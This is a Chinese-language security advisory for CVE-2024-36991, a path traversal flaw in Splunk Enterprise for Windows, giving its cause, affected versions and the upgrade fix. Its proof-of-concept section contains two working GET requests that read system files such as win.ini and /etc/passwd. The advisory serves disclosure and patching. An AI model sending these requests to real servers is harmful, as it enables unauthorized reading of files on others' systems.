CVE-2024-36991

Splunk Enterprise Windows 版中 “/Modules/Messaging/” 端点的路径遍历漏洞

在 Splunk Enterprise 版本低于 9.2.2、9.1.5 和 9.0.10 时，攻击者可在 Windows 版 Splunk Enterprise 中对 /modules/messaging/ 端点执行路径遍历。

该漏洞的存在是因为 Python 的 os.path.join 函数在路径令牌中的盘符与已构建路径的盘符匹配时，会移除该盘符。

此漏洞应仅影响 Windows 版 Splunk Enterprise。

概念验证

GET /en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Windows/win.ini
GET /en-US/modules/messaging/C:../C:../C:../C:../C:../etc/passwd

受影响版本

受影响版本：9.2（不含 9.2.2）

受影响版本：9.1（不含 9.1.5）

受影响版本：9.0（不含 9.0.10）

解决方案

将 Splunk Enterprise 升级至 9.2.2、9.1.5 或 9.0.10 或更高版本。

致谢

Danylo Dmytriiev (DDV_UA)

参考链接

• https://advisory.splunk.com/advisories/SVD-2024-0711
• https://www.cve.org/CVERecord?id=CVE-2024-36991